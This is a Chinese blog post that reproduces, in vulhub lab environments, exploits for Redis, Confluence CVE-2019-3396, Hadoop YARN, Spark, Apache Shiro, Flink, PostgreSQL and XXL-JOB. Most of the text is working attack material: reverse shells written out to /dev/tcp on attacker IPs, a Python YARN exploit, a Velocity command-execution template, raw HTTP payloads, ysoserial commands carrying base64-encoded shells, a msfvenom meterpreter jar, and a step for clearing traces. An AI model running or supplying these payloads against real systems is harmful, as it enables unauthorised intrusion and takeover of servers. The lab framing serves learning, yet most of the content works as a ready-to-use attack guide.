热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

新人入职之漏洞复现

失踪人口回归,前段时间兄弟们hw的hw,比赛的比赛,换工作的换工作,所以任性断更了,后面会慢慢恢复更新的,话不多说,今天分享一下新入职的学习

本文目录

0x00 概述

0x01 Redis
    1.1 redis主从复制
    1.2 写公钥登录ssh
        踩坑
    1.3 写corntab反弹shell
        踩坑
    1.4 找绝对路径写webshell
0x02 Confluence远程代码执行漏洞(CVE-2019-3396)
    2.1 文件读取
    2.2 模板注入RCE
    踩坑
0x03 Hadoop Yarn未授权访问
0x04 Spark REST API未授权访问
    4.1 利用 REST API提交应用
    踩坑
0x05 Apache Shiro反序列化
    5.1 反弹shell
    5.2 写文件
    5.3 回显
0x06 Apache flink后台未授权
0x07 PostgreSQL未授权
0x08 XXL-job executor未授权
    8.1 未授权RCE
    8.2 后台操作
        踩坑

End!!!!

0x00 概述

  失踪人口回归,前段时间兄弟们hw的hw,比赛的比赛,换工作的换工作,所以任性断更了,后面会慢慢恢复更新的,话不多说,今天分享一下新入职的学习内容,漏洞案例复现,由于有一些环境以前比较少碰到,就写个文章分享记录一下。篇幅教长,建议根据目录查看自己感兴趣的即可。

0x01 Redis

当我们遇到Redis服务器时,常见的有以下几种获取权限方法:

1.1 Redis主从复制

原理参考连接:https://paper.seebug.org/975/

Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。Redis(<=5.0.5) RCE
靶场地址:https://github.com/vulhub/redis-rogue-getshell
利用步骤

1.下载利用脚本:
wget https://github.com/n0b0dyCN/redis-rogue-server/archive/refs/heads/master.zip
unzip master.zip


2.编译利用脚本
cd /redis-rogue-getshell-master/RedisModulesSD
make
编译之后,会在/RedisModulesSD/目录下生成exp.so利用文件


3.返回上一层,执行命令
python3 redis-master.py -r 42.194.198.77 -p 6379 -L 47.100.90.179 -f RedisModulesSDK/exp.so -c "whoami"

执行命令:

当前redis服务为redis账户启动的:



1.2 写公钥登录ssh

条件

1、Redis服务以root权限启动。

2、目标服务器开启ssh服务,并且需要允许使用密钥登录

漏洞环境

docker pull foxyuhub/redis:keygen
docker run -dit --name=redis -p 6379:6379 -p 66:22 foxyuhub/redis:keygen /bin/bash

漏洞复现

1. 事先先准备好自己的公钥,写入一个本地文件key.txt

cd ~/.ssh
ssh-keygen #生成私钥和公钥
(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

注意:如果是自己的VPS,建议把公钥里面最后的用户名和机器名删掉,前面的不能改动。

2. 通过redis将该文件写入内存

redis-cli -h 42.194.198.77 flushall
cat key.txt | redis-cli -h 42.194.198.77 -x set crackit

3. 利用redis-cli 写入配置的方式将公钥写入到.ssh目录下

redis-cli -h 42.194.198.77
42.194.198.77:6379> config set dir /root/.ssh/
OK
42.194.198.77:6379> config get dir
1) "dir"
2) "/root/.ssh"
42.194.198.77:6379> config set dbfilename "authorized_keys"
OK
42.194.198.77:6379> save
OK

查看目标机器,已经成功写入authorized_keys文件:

4.公钥登陆

ssh -p 66 root@42.194.198.77

成功登录到docker中。

踩坑

直接从redis官网下载的镜像中,redis服务默认是以redis用户权限启动的,因此在写密钥的时候是无法写入的,会出现以下报错:

无法写入,查看docker中redis进程的权限:

redis权限,因此无法写入密钥文件。



1.3 写corntab反弹shell

条件

Redis服务使用root账号启动。(使用普通账号需要知道该账户名,才可以写到该账户下的corntab)。

漏洞环境

docker pull foxyuhub/redis:cron
docker run -dit --name=redis -p 6379:6379 foxyuhub/redis:cron /bin/bash

漏洞利用

连接靶机Redis:redis-cli -h ip

redis-cli -h 42.194.198.77
>info #查看系统信息

执行以下命令:

set x "\n* * * * * bash -i >& /dev/tcp/47.100.90.179/9999 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save

然后退出,监听本地的9999端口:

成功拿到靶机的权限。

踩坑

1. redis权限不够
2. 目标不是centos系列系统
注意,写计划任务的时候要确定目标主机是什么系统:

Redhat系,基于Redhat GNU/Linux:Redhat、Centos、Fedora
Debian系,基于Debian GNU/Linux:Debian、Ubuntu、Kali

像Centos的计划任务就是写到:/var/spool/cron/路径下的root文件,如上的代码。
想Ubuntu的计划任务就是写到:/var/spool/cron/crontabs/路径下的root文件。代码如下:

但是实验测试Ubuntu系统时无法成功,计划任务前面不能出现其他乱码,但通过redis写文件总是会有一些无用数据,因此写入之后无法正常执行定时任务。



1.4 找绝对路径写webshell

当redis权限不高时,并且服务器开着web服务,在redis有web目录写权限时,可以尝试往web路径写webshell,该方法还是利用redis的写文件功能,需要知道web目录。执行以下命令。

config set dir /var/www/html/
config set dbfilename shell.php
set x ""
save

其中/var/www/html/为web目录,替换为实际的目录即可



0x02. Confluence远程代码执行漏洞(CVE-2019-3396)

漏洞详情:Atlassian Confluence是企业广泛使用的wiki系统,其6.14.2版本前存在一处未授权的目录穿越漏洞,通过该漏洞,攻击者可以读取任意文件,或利用Velocity模板注入执行任意命令。

漏洞影响版本:6.14.2
漏洞靶机环境:https://github.com/vulhub/vulhub/tree/master/confluence/CVE-2019-3396
靶机IP:42.194.198.77
攻击IP:47.100.90.179

环境搭建:配置环境,在浏览器打开http://VPS:8090 进入安装引导,选择“Trial installation”,之后会要求填写license key。点击“Get an evaluation license”,去Atlassian官方申请一个Confluence Server 的测试证书(不要选择Data Center和Addons),这里提供已经申请好的license key:

AAABQw0ODAoPeNp1kFFrwjAUhd/zKwJ72R4ibXVqhcI07aajtWLd2MNeYrntAm0qaSL675c2E7exQR6Sc8J3zz03j5LjZ11hb4wdd+aZ42Aa7rDnuD6ijVAsV2tWQ6CYKGstNX8oa8arQd7UKG9EMTAf+NH4UgPaaJl/sBZCpiDoEMSZEG+MYp6DaCE6Hbg8fzOnxLu/TIkSg/1zTAbyCHIVBovFZELodvlE0vloQ/zR29JmMEhGQSiQNkem920u+UHxRljFwI0tmMj/SdFz1rreg0yLlxZkGxDXqpliskMXrGrhsouJE6/CLFqT2B36U8cfjpF5BT+VVJZM8Jb1QU5aFCBKRCX0wu+W+mFf+N35AH3vNE2SaEtX8xhV1no12Tqch0K4bmlaLCoNZj9829WBbR937zMcHVml+4noerW1fAJcbqnMMCwCFE/fa4LjnfCqQ1Hy5OCWZ72GDUKkAhQKri7+MDexgSKxdR82iMniZTblfQ==X02g4

然后点击Next安装即可。这一步小内存VPS可能安装失败或时间较长(建议使用4G内存以上的机器进行安装与测试),请耐心等待。如果提示填写cluster node,路径填写/home/confluence即可。

后续要求你填写数据库账号密码,选择postgres数据库,地址为db,账号密码均为postgres:


2.1 文件读取

漏洞影响版本:6.14.2

发送如下数据包,即可读取文件web.xml:

POST /rest/tinymce/1/macro/preview HTTP/1.1
Host: localhost:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Referer: http://localhost:8090/pages/resumedraft.action?draftId=786457&draftShareId=056b55bc-fc4a-487b-b1e1-8f673f280c23&
Content-Type: application/json; charset=utf-8
Content-Length: 176


{"contentId":"786458","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc6","width":"1000","height":"1000","_template":"../web.xml"}}}

6.12以前的Confluence没有限制文件读取的协议和路径,我们可以使用file:///etc/passwd来读取文件,也可以通过https加载远程文件


PS:漏洞分析文章:https://paper.seebug.org/884/


2.2 模板注入RCE

漏洞影响版本:6.9.0

通过模板注入(SSTI)来执行任意命令:

利用脚本地址为:https://raw.githubusercontent.com/Yt1g3r/CVE-2019-3396_EXP/master/cmd.vm

#set ($e="exp")
#set ($a=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec($cmd))
#set ($input=$e.getClass().forName("java.lang.Process").getMethod("getInputStream").invoke($a))
#set($sc = $e.getClass().forName("java.util.Scanner"))
#set($cOnstructor= $sc.getDeclaredConstructor($e.getClass().forName("java.io.InputStream")))
#set($scan=$constructor.newInstance($input).useDelimiter("\\\\A"))
#if($scan.hasNext())
$scan.next()
#end

其他EXP:https://www.freebuf.com/column/200320.html

1.包含远程文件执行远程命令,获取java版本号:

2.执行命令:

踩坑

1、远程模板注入执行命令可能只支持https协议,不支持http。



3. Hadoop Yarn未授权访问

简介:Apache Hadoop YARN是Hadoop的核心组件之一,负责将资源分配在Hadoop集群中运行的各种应用程序,并调度要在不同集群节点上执行的任务。(独立出来的资源管理框架,负责资源管理和调度。)

漏洞成因:负责对资源进行统一管理调度的ReasourceManager组件的UI管理界面开放在8080/8088端口,攻击者无需认证即可通过REST API部署任务来执行任意命令,最终可完全控制集群中所有的机器。

漏洞环境:https://github.com/vulhub/vulhub/tree/master/hadoop/unauthorized-yarn

漏洞利用脚本:

#!/usr/bin/env python


import requests


target = 'http://42.194.198.77:8088/'
lhost = '47.100.90.179' # put your local host ip here, and listen at port 9999


url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()['application-id']
url = target + 'ws/v1/cluster/apps'
data = {
'application-id': app_id,
'application-name': 'get-shell',
'am-container-spec': {
'commands': {
'command': '/bin/bash -i >& /dev/tcp/%s/9999 0>&1' % lhost,
},
},
'application-type': 'YARN',
}
requests.post(url, json=data)

首先在攻击机器上监听9999端口:

执行完成,nc已经接收到shell:



4. Spark REST API未授权访问

简介

     Apache Spark是一款集群计算系统,其支持用户向管理节点提交应用,并分发给集群执行。如果管理节点为实现访问控制,就可以在集群中执行任意代码
漏洞环境

https://github.com/vulhub/vulhub/tree/master/spark/unacc

漏洞利用

该漏洞的本质是未授权用户可以向管理节点提交一个应用,这个应用实际上是恶意代码。应用可以是Java或Python,就是一个简单的类,如:

import java.io.BufferedReader;
import java.io.InputStreamReader;
public class Exploit
{
public static void main(String[] args) throws Exception
{
String[] cmds = args[0].split(",");
for(String cmd: cmds)
{
System.out.println(cmd);
System.out.println(executeCommand(cmd.trim()));
System.out.println("==============================================");
}
}
private static String executeCommand(String command)
{
StringBuilder output = new StringBuilder();
try
{
Process p = Runtime.getRuntime().exec(command);
p.waitFor();
BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
while((line = reader.readLine()) != null)
{
output.append(line).append("\n");
}
}
catch(Exception e)
{
e.printStackTrace();
}
return output.toString();
}
}

将上面的代码保存为Exploit.java,编译成spark.jar后放到VPS上,使用python开启一个web服务。

也可以用别人生成好的jar:

https://github.com/aRe00t/rce-over-spark/raw/master/Exploit.jar

利用 REST API提交应用

在standalone模式下,master将在6066端口启动一个HTTP服务器,我们向这个端口提交REST格式的API:

POST /v1/submissions/create HTTP/1.1
Host: 42.194.198.77:6066
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 600


{
"action": "CreateSubmissionRequest",
"clientSparkVersion": "2.3.1",
"appArgs": [
"whoami,w,cat /proc/version,ifconfig,route,df -h,free -m,netstat -nltp,ps auxf"
],
"appResource": "http://47.100.90.179:8080/spark.jar",
"environmentVariables": {
"SPARK_ENV_LOADED": "1"
},
"mainClass": "Exploit",
"sparkProperties": {
"spark.jars": "http://47.100.90.179:8080/spark.jar",
"spark.driver.supervise": "false",
"spark.app.name": "Exploit",
"spark.eventLog.enabled": "true",
"spark.submit.deployMode": "cluster",
"spark.master": "spark://42.194.198.77:6066"
}
}

参数:

  • clientSparkVersion 填spark版本号,直接访问目标网站即可得到

  • appResource 利用脚本Exploit.jar

  • spark.master 填目标ip,目标服务器的master服务

注意:必须添加Accept-Encoding: gzip, deflate这个header头


提交成功,返回一个submissionId,将submissionId替换到以下URL,然后访问URL:

http://42.194.198.77:8081/logPage/?driverId=driver-20210426082413-0000&logType=stdout

即可查看执行结果:

提交应用会在首页生成记录如下:

踩坑

在生成jar包的时候,一开始是直接使用以下命令去生成的:

javac Exploit.java
jar cvf Exploit.jar Exploit.class

但是发现一直无法执行命令,对比下网上的jar,发现以下不同:

无法列出主类,因此一直无法利用成功,之后使用IDEA进行打包,即可利用成功。



5. Apache Shiro反序列化

原理

Apache Shiro默认使用了COOKIERememberMeManager,其处理COOKIE的流程是:得到rememberMe的COOKIE值 => Base64解码 => AES解密 =>反序列化。然而AES的密钥是硬编码的,就导致了攻击者可以构造恶意数据造成反序列化的RCE漏洞。

漏洞环境

https://github.com/vulhub/vulhub/tree/master/shiro/CVE-2016-4437

5.1.反弹shell

首先还是抓登录包,判断是否有 rememberMe=deleteMe;

第一步,先生成一个COOKIE:

python shiro2-remember-me.py 42.194.198.77:80

第二步,使用ysoserial-0.0.5-SNAPSHOT-all.jar监听

java -cp ysoserial-0.0.5-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 80 CommonsCollections5 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDYuMTIuMTgwLjE1Mi80NDMgMD4mMQ==}|{base64,-d}|{bash,-i}'


java -cp ysoserial-0.0.5-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 80 CommonsCollections5 'whoami'


java -cp ysoserial-0.0.5-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 80 CommonsBeanutils1 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC80Mi4xOTQuMTk4Ljc3LzQ0MyAwPiYx}|{base64,-d}|{bash,-i}'

注意

1、这里监听的端口要和第一步的为同一个端口(建议使用正常端口如:80、443、8080)

2、生成命令:

bash -i >& /dev/tcp/106.12.180.152/443 0>&1

第三步,再打开一个窗口,用nc监听反弹端口,也就是上面base64编码中的443端口

第四步,发送第一步生成的COOKIE

ysoserial-0.0.5-SNAPSHOT-all.jar成功获取到数据:

nc成功接收到shell:



5.2.写文件

自动查找目录写文件,搜索1.js所在文件夹路径,将id,pwd,hostname的结果写在js/test1.txt中:

find . -type f -name 1.js|while read f;do sh -c 'id;pwd;hostname;/sbin/ifconfig' >$(dirname $f)/test.txt;done

之后访问:url/js/test1.txt,即可得到网络路径,写入shell即可。



5.3.回显

当然现在已经有直接利用的工具,但我了解到的利用思路大致就是以上这三种。遇到有waf的需要先判断是内容检测还是长度检测。



6. Apache flink后台未授权

简介

     Apache Flink的任意Jar包上传导致远程代码执行(CVE-2020-17518)、文件读取(CVE-2020-17519)

漏洞环境

https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518

漏洞复现

使用msf生成恶意jar包,上传:

msfvenom -p java/meterpreter/reverse_tcp LHOST=47.100.90.179 LPORT=4444 -f jar > testone.jar

设置监听:

成功监听之后,提交第一步上传的jar包:

成功反回flink服务器的shell。



7. PostgreSQL未授权

简介

      从9.3 版本开始,PostgreSQL实现了“COPY TO/FROM PROGRAM”这个新的功能,它允许数据库的超级用户以及“pg_read_server_files”组用户执行任意的操作系统命令。这意味着在数据库超级用户角色与运行此数据库的操作系统用户角色之间没有进行适当的权限的分离。

漏洞环境

https://github.com/vulhub/vulhub/tree/master/postgres/CVE-2019-9193

环境启动后,将开启Postgres默认的5432端口

默认账号密码为postgres/postgres。

DROP TABLE IF EXISTS cmd_exec; #删除你想用来保存命令输出但是可能存在的表
CREATE TABLE cmd_exec(cmd_output text); #创建你用来保存命令输出的表
COPY cmd_exec FROM PROGRAM 'id' #通过 “COPY FROM PROGRAM”执行系统命令
SELECT * FROM cmd_exec; #查看执行结果
DROP TABLE IF EXISTS cmd_exec; #清除痕迹

需要说明的是,命令中的任何单引号都必须通过双引号来转义它们。

你需要把上述命令用单引号包围并将命令中包含的单引号用双引号替换:

成功执行命令。



8. XXL-job executor未授权

简介

   XXL-JOB是一个分布式任务调度平台,其核心设计目标是开发迅速、学习简单、轻量级、易扩展。现已开放源代码并接入多家公司线上产品线,开箱即用。XXL-JOB分为admin和executor两端,前者为后台管理页面,后者是任务执行的客户端。executor默认没有配置认证,未授权的攻击者可以通过RESTful API执行任意命令。
漏洞环境

https://github.com/vulhub/vulhub/tree/master/xxl-job/unacc

靶机地址

42.194.198.77:8080(管理端),42.194.198.77:9999(客户端)

启动好后访问:vps:8080/xxl-job-admin/ (要带 /xxl-job-admin 路径)

默认账号密码 admin 123456

8.1 未授权RCE

向客户端(executor)发送如下数据包,即可执行命令:

POST /run HTTP/1.1
Host: 42.194.198.77:9999
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Content-Type: application/json
Content-Length: 368
Connection: close
Upgrade-Insecure-Requests: 1


{
"jobId": 1,
"executorHandler": "demoJobHandler",
"executorParams": "demoJobHandler",
"executorBlockStrategy": "COVER_EARLY",
"executorTimeout": 0,
"logId": 1,
"logDateTime": 1586629003729,
"glueType": "GLUE_SHELL",
"glueSource": "touch /tmp/success123",
"glueUpdatetime": 1586699003758,
"broadcastIndex": 0,
"broadcastTotal": 0
}

发送成功,查看容器里面命令是否执行成功:


成功执行命令,在/tmp目录下创建了success123文件。

8.2 后台操作

登录后台,默认账号密码 admin 123456


注意运行模式需要为 GLUE(shell)

编写shell脚本:

这是脚本里面的默认密码,将其修改为反弹shell或任何我们想执行的命令:

反弹shell命令:

点击操作,执行一次,不需要输入其他,点击保存

成功获取shell

踩坑

执行任务的时候,如果没有输入机器地址,默认是对所有机器,如果要指定客户端执行,可以输入客户端IP,需要加上http或者https,执行器默认端口为9999:

如果直接输入客户端IP,会调度失败,日志如下:




如文章有错误不对的地方,请在"公众号留言",欢迎各位师傅一起学习交流。祝各位师傅升职加薪、洞洞高危。



推荐阅读
  • 在开发过程中,我最初也依赖于功能全面但操作繁琐的集成开发环境(IDE),如Borland Delphi 和 Microsoft Visual Studio。然而,随着对高效开发的追求,我逐渐转向了更加轻量级和灵活的工具组合。通过 CLIfe,我构建了一个高度定制化的开发环境,不仅提高了代码编写效率,还简化了项目管理流程。这一配置结合了多种强大的命令行工具和插件,使我在日常开发中能够更加得心应手。 ... [详细]
  • 从0到1搭建大数据平台
    从0到1搭建大数据平台 ... [详细]
  • CTF竞赛中文件上传技巧与安全绕过方法深入解析
    CTF竞赛中文件上传技巧与安全绕过方法深入解析 ... [详细]
  • 近期,针对Axis2默认凭据漏洞的攻击案例在安全社区引起了广泛关注。这些攻击通常利用Axis2的默认用户名和密码进行渗透测试,技术手段相对固定。本文在综合分析多个案例的基础上,详细探讨了该漏洞的安全风险,并提出了有效的防范措施,以帮助企业和开发者加强Web服务的安全防护。 ... [详细]
  • 本文介绍了如何在 Windows 系统上利用 Docker 构建一个包含 NGINX、PHP、MySQL、Redis 和 Elasticsearch 的集成开发环境。通过详细的步骤说明,帮助开发者快速搭建和配置这一复杂的技术栈,提升开发效率和环境一致性。 ... [详细]
  • 本文详细介绍了如何在 Django 项目中使用 Admin 管理后台,包括创建超级用户、启动项目、管理数据模型和修改用户密码等步骤。 ... [详细]
  • 本文介绍了Java中的com.sun.codemodel.JBlock._continue()方法,并提供了多个实际代码示例,帮助开发者更好地理解和使用该方法。 ... [详细]
  • 本文总结了一些开发中常见的问题及其解决方案,包括特性过滤器的使用、NuGet程序集版本冲突、线程存储、溢出检查、ThreadPool的最大线程数设置、Redis使用中的问题以及Task.Result和Task.GetAwaiter().GetResult()的区别。 ... [详细]
  • 秒建一个后台管理系统?用这5个开源免费的Java项目就够了
    秒建一个后台管理系统?用这5个开源免费的Java项目就够了 ... [详细]
  • ### 优化后的摘要本学习指南旨在帮助读者全面掌握 Bootstrap 前端框架的核心知识点与实战技巧。内容涵盖基础入门、核心功能和高级应用。第一章通过一个简单的“Hello World”示例,介绍 Bootstrap 的基本用法和快速上手方法。第二章深入探讨 Bootstrap 与 JSP 集成的细节,揭示两者结合的优势和应用场景。第三章则进一步讲解 Bootstrap 的高级特性,如响应式设计和组件定制,为开发者提供全方位的技术支持。 ... [详细]
  • Web开发框架概览:Java与JavaScript技术及框架综述
    Web开发涉及服务器端和客户端的协同工作。在服务器端,Java是一种优秀的编程语言,适用于构建各种功能模块,如通过Servlet实现特定服务。客户端则主要依赖HTML进行内容展示,同时借助JavaScript增强交互性和动态效果。此外,现代Web开发还广泛使用各种框架和库,如Spring Boot、React和Vue.js,以提高开发效率和应用性能。 ... [详细]
  • 在Java Web服务开发中,Apache CXF 和 Axis2 是两个广泛使用的框架。CXF 由于其与 Spring 框架的无缝集成能力,以及更简便的部署方式,成为了许多开发者的首选。本文将详细介绍如何使用 CXF 框架进行 Web 服务的开发,包括环境搭建、服务发布和客户端调用等关键步骤,为开发者提供一个全面的实践指南。 ... [详细]
  • 提升 Kubernetes 集群管理效率的七大专业工具
    Kubernetes 在云原生环境中的应用日益广泛,然而集群管理的复杂性也随之增加。为了提高管理效率,本文推荐了七款专业工具,这些工具不仅能够简化日常操作,还能提升系统的稳定性和安全性。从自动化部署到监控和故障排查,这些工具覆盖了集群管理的各个方面,帮助管理员更好地应对挑战。 ... [详细]
  • ButterKnife 是一款用于 Android 开发的注解库,主要用于简化视图和事件绑定。本文详细介绍了 ButterKnife 的基础用法,包括如何通过注解实现字段和方法的绑定,以及在实际项目中的应用示例。此外,文章还提到了截至 2016 年 4 月 29 日,ButterKnife 的最新版本为 8.0.1,为开发者提供了最新的功能和性能优化。 ... [详细]
  • 在项目开发过程中,掌握一些关键的Linux命令至关重要。例如,使用 `Ctrl+C` 可以立即终止当前正在执行的命令;通过 `ps -ef | grep ias` 可以查看特定服务的进程信息,包括进程ID(PID)和JVM参数(如内存分配和远程连接端口);而 `netstat -apn | more` 则用于显示网络连接状态,帮助开发者监控和调试网络服务。这些命令不仅提高了开发效率,还能有效解决运行时的各种问题。 ... [详细]
author-avatar
初始化
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有